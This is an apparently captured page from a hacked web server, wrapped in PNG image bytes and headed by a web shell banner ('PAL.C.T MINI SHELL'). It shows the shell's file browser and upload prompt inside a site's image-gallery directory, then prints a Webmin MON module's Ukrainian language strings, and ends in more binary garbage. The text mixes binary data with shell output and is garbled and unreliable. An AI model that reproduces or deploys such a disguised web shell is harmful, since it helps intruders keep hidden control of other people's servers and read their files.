php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/mon/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/mon/lang/uk

index_title=Монітор служб MON
index_return=меню MON
index_edir=Каталог MON $1 не існує. Можливо MON чи не встановлений невірна <a href='$2'>конфігурація модуля</a>.
mon_global_title=Настроювання глобальних перемінних
mon_conf_title=Загальне настроювання
mon_status_title=Стан
hostgroups_title=Настроювання MON - групи вузлів
services_title=Групи спостереження - визначення служб

head_hostgroups=Групи вузлів і служби
head_groups=Назва групи вузлів
head_members=Члени групи вузлів
head_services= служби групи, ЩоВідслідковуються, вузлів
head_service= служба, ЩоВідслідковується
head_param=Настроювання служби
head_watch=Стежити за групою?
head_monauth=Надавати аутентифікацію для MONCMD
head_usr=Ім'я користувача
head_pass=Пароль
head_mand=( Параметри, виділені "ЧЕРВОНИМ КОЛЬОРОМ", є обов'язковими )

err_nomon=Пакет 'mon' у вашій системі не встановлений
err_nomonconf=Файл конфігурації MON $1 у вашій системі не виявлений. Можливо MON не встановлений, чи невірна <a href='$2'>конфігурація модуля</a>.
err_nowatch=Не обрані групи спостереження. Виберіть хоча б одну групу.
err_noserv=Для групи спостереження не обрано ні однієї служби
err_nomemb=Для групи спостереження не обрано вузлів/членів
err_monrun=MON не запущений на вузловій машині. Будь ласка, запустите його.
stop_err=Не удалося зупинити MON
stop_epid=Не запущений
start_err=Не удалося запустити MON
restart_err=Не удалося запустити знову MON
restart_epid=Не удалося одержати PID

other=Інше (через пробіл)
next=Далі
mon_stat=Стан MON
mon_off=Служба MON не запущена
mon_start=Запустити службу MON
mon_stop=Зупинити службу MON
mon_restart=Запустити знову службу MON
mon_startdesc=Натискання на цю кнопку приведе до запуску сервера MON. Поки сервер не запущений, спостереження не здійснюється.
mon_stopdesc=Натискання на цю кнопку зупинить сервер MON. Після зупинки сервера спостереження не буде здійснюється.
mon_restartdesc=Натискання на цю кнопку приведе до вступу в дію поточної конфігурації MON. При цьому процес сервера буде перезапущений.
line=(по одному в рядку)
save_apply=Зберегти і застосувати
watch=Група спостереження
members=Члени
def_perargs=wd {Суб-Нед}

def_desc=description
def_inter=interval
def_mon=monitor
def_dep=dpend
def_per=period
def_alert=alert
def_alertevr=alertevery
def_alertaft=alertafter
def_alertstr=startupalert
def_allow=allow_empty_group
def_traptime=traptimeout
def_trapdur=trapduration
def_rand=randskew
def_exclhost=exclude_hosts
def_exclper=exclude_period

groups_title=Групи вузлів
groups_group=Назва групи
groups_members=Вузли-члени

watches_title=Список спостереження
watches_group=Група спостереження
watches_services= служби, ЩоВідслідковуються
watches_sadd=Додати службу..
watches_add=Додати список спостереження в групу :
watches_return=списку спостереження

global_title=Загальне настроювання
global_header=Загальне настроювання MON
global_maxprocs=Максимальна кількість процесів MON
global_histlength=Довжина журналу подій
global_alertdir=Каталог попереджуючих програм
global_mondir=Каталог програм, що стежать
global_authtype=Тип аутентифікації
global_authtype_=За замовчуванням
global_authtype_getpwnam=Системні виклики
global_authtype_userfile=Файл користувачів MON
global_authtype_shadow=Тіньовий файл
global_userfile=Файл користувача MON
global_emaxprocs=Кількість процесів MON чи не зазначене зазначено невірно
global_ehistlength=Довжина журналу подій чи не зазначена зазначена невірно
global_ealertdir=Каталог попереджуючих програм чи не зазначений зазначений невірно
global_emondir=Каталог програм, що стежать, чи не зазначений зазначений невірно
global_euserfile=Файл користувачів MON відсутній

watch_title=Зміна списку спостереження
watch_header=Настроювання спостереження для групи вузлів
watch_group= група вузлів, ЩоВідслідковується
watch_services= служби, ЩоВідслідковуються
watch_service=Назва служби
watch_monitor=Використовуваний монітор
watch_interval=Перевіряти кожні
watch_periods=Періоди спостереження

service_title=Додавання служби
service_title2=Зміна служби
service_header=Настроювання служби, що відслідковується
service_name=Назва служби
service_interval=Перевіряти кожні
service_desc=Опис
service_units_s=секунд
service_units_m=хвилин
service_units_h=годин
service_units_d=днів
service_units_w=тижнів
service_monitor=Використовуваний монітор
service_mon1=Стандартний
service_mon0=Іншої ..
service_args=Параметри монітора
service_period=Період спостереження $1
service_days=Дні спостереження
service_hours=Годинник спостереження
service_all=Усі
service_pstr=Настроювання періоду
service_new=Новий період спостереження
service_alerts=Попередження для періоду
service_alert=Попередження
service_atype=Запускати при
service_atype_alert=Зупинці служби
service_atype_upalert=Запуску служби
service_atype_startupalert=Запуску MON
service_aargs=Додаткове настроювання
service_every=Послати попередження
service_every_def=Щораз при запуску монітора
service_every_time=Кожні
service_num=Максимальна кількість попереджень
service_unlimited=Не обмежено
service_after=Посилати попередження
service_immediate=Негайно
service_after_num=Після $1 спрацьовувань
service_aftertime=Протягом
service_newperiod=Додати новий період
service_delperiod=Видалити цей період
service_err=Не удалося зберегти службу
service_ename=Назва служби чи не зазначене зазначено невірно
service_einterval=Інтервал перевірки зазначений чи зазначений невірно
service_eother=Монітор зазначений чи зазначений невірно
service_ehour=Година для періоду $1 чи не зазначений зазначений невірно (повинний бути, наприклад, 9am чи 5pm)
service_eperiod=Для періоду $1 не зазначені чи дні годинник
service_eevery=Інтервал попередження чи не зазначений зазначений невірно
service_eafter=Кількість спрацьовувань чи не зазначене зазначено невірно
service_enum=Максимальна кількість попереджень, що посилаються, чи не зазначене зазначено невірно
service_epstr=Не зазначений період
service_known0=Рядок <tt>Time::Period</tt>
service_known1=Зазначені дні і годинник
service_known2=Визначений період

status_title=Стан MON
status_ecgi=Програма CGI стану MON $1 не існує. Можливо, вона не встановлена, чи невірна <a href='$2'>конфігурація модуля</a>.
status_eperl=Програма CGI стану MON вимагає наявності модуля $1 perl. <a href='$2'>Клацніть тут</a> щоб установити його через CPAN.

users_title=Користувачі MON
users_etype=Список користувачів MON не може бути змінений, тому що MON у даний момент не набудований для аутентифікації. Див. <a href='$1'>Загальне настроювання</a>.
users_header=Дозволені в $1 користувачі MON
users_nousers=У $1 не визначено жодного користувача MON.
users_add=Додати нового користувача
users_return=Список користувачів MON

user_create=Додавання користувача MON
user_edit=Зміна користувача MON
user_header=Настроювання користувача MON
user_user=Ім'я користувача
user_pass=Пароль
user_leave=Залишити без змін
user_err=Не удалося зберегти користувача
user_euser=Ім'я користувача чи не зазначене зазначено невірно
user_esame=Користувач з цим ім'ям вже існує

auth_title=Команди клієнта
auth_desc=Ви можете настроїти якими користувачами які команди MON можуть бути запущені при використанні програм клієнта.
auth_cmd=Команда MON
auth_users=Дозволені користувачі
auth_none=Ніхто
auth_all=Усі
auth_sel=Тільки користувачі
auth_err=Не удалося зберегти команди клієнта
auth_eusers=Для команди $1 не зазначено жодного клієнта

periods_title=Визначені періоди
periods_period=Назва періоду
periods_times=Дні і годинник
periods_alldays=Усі дні
periods_allhours=Усі годинник
periods_err=Не удалося зберегти періоди
periods_ename='$1' не є коректною назвою періоду
periods_ehour=Година для періоду $1 чи не зазначений зазначений невірно (повинний бути, наприклад, 9am чи 5pm)
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`